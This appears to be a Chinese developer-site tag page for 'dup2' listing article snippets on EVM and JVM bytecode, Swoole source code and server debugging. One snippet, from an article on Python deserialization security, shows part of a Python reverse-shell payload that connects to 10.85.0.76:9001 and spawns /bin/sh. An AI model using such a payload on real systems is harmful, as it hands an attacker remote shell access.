dup2精品文章

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  以太坊智能合約開發(fā)第四篇：實(shí)現(xiàn)Hello World智能合約

  ...1F ADD PUSH1 0x20 DUP1 SWAP2 DIV MUL PUSH1 0x20 ADD PUSH1 0x40 MLOAD SWAP1 DUP2 ADD PUSH1 0x40 MSTORE DUP1 SWAP4 SWAP3 SWAP2 SWAP1 DUP2 DUP2 MSTORE PUSH1 0x20 ADD DUP4 DUP4 DUP1 DUP3 DUP5 CALLDATAC...

  seal_de 2019-06-27 18:19 評(píng)論0 收藏0
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  Python反序列化安全問題

  ...ocket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.85.0.76,9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([/bin/sh,-i]); return (os.system,(a...

  Amos 2019-07-30 15:36 評(píng)論0 收藏0
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  深入理解以太坊虛擬機(jī) (一) 中英對(duì)照

  ... 0x1 /* c1.sol:80:81 a */ 0x0 /* c1.sol:80:85 a = 1 */ dup2 swap1 sstore pop /* c1.sol:59:92 function C() {... */ tag_3: /* c1.sol:26:94 contract C {... */ tag_4: ...

  BLUE 2019-06-27 18:53 評(píng)論0 收藏0
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  #yyds干貨盤點(diǎn)#Java ASM系列：（091）冗余變量分析

  ..., * ISTORE, LSTORE, FSTORE, DSTORE, ASTORE, * DUP, DUP_X1, DUP_X2, DUP2, DUP2_X1, DUP2_X2, SWAP * */ public abstract V copyOperation(AbstractInsnNode insn, V value) throws Analyz...

  mengbo 2021-11-23 10:11 評(píng)論0 收藏0
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  Swoole 源碼分析——進(jìn)程管理 Swoole_Process

  ...ocess->pid = getpid(); if (process->redirect_stdin) { if (dup2(process->pipe, STDIN_FILENO) < 0) { swoole_php_fatal_error(E_WARNING, dup2() failed. Error: %s[%d...

  pepperwang 2019-07-01 10:45 評(píng)論0 收藏0
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  JVM 虛擬機(jī)字節(jié)碼指令表

  ...制棧頂數(shù)值并將三個(gè)(或兩個(gè))復(fù)制值壓入棧頂 0x5c dup2 復(fù)制棧頂一個(gè)(對(duì)于long或double類型)或兩個(gè)(對(duì)于非long或double的其他類型)數(shù)值并將復(fù)制值壓入棧頂 0x5d dup2_x1 dup_x1指令的雙倍版本 0x5e dup2_x2 dup_x2指令...

  ninefive 2019-08-14 17:49 評(píng)論0 收藏0
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  php+nginx 服務(wù)發(fā)生500 502錯(cuò)誤排查思路

  ...7FFEE1ED0248) = -1 Err#22 28060/0x3754c5: 755 14 11 dup2(0x1, 0x2, 0x0) = 2 0 28060/0x3754c5: 797 89 22 close(0x4) = 0 0 28060/0x3754c5: ...

  2bdenny 2019-07-25 14:52 評(píng)論0 收藏0
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  Swoole 源碼分析——Server模塊之Start

  ...], strerror(errno), errno); return -1; } if (dup2(fd, 0) < 0 || dup2(fd, 1) < 0 || dup2(fd, 2) < 0) { close(fd); swWarn(dup2() failed. E...

  3fuyu 2019-07-01 10:29 評(píng)論0 收藏0
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  字節(jié)碼及ASM使用

  ...兩個(gè)數(shù)值并將復(fù)制值或雙份的復(fù)制值重新壓入棧頂：dup、dup2、dup_x1、dup2_x1、dup_x2、dup2_x2。 3）將棧最頂端的兩個(gè)數(shù)值互換：swap 控制轉(zhuǎn)移指令讓JVM有條件或無條件從指定指令而不是控制轉(zhuǎn)移指令的下一條指令繼續(xù)執(zhí)行程序。...

  hearaway 2019-08-15 10:35 評(píng)論0 收藏0